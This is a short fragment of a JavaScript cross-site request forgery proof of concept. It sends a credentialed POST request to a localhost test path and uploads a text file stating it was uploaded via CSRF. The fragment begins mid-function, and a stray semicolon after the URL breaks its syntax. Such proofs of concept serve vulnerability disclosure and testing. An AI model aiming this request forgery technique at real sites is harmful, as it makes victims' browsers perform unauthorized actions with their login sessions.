var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:8080/test/csrf.txt";, true);
xhr.withCredentials = true;
var body = "This file has been uploaded via CSRF.=\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
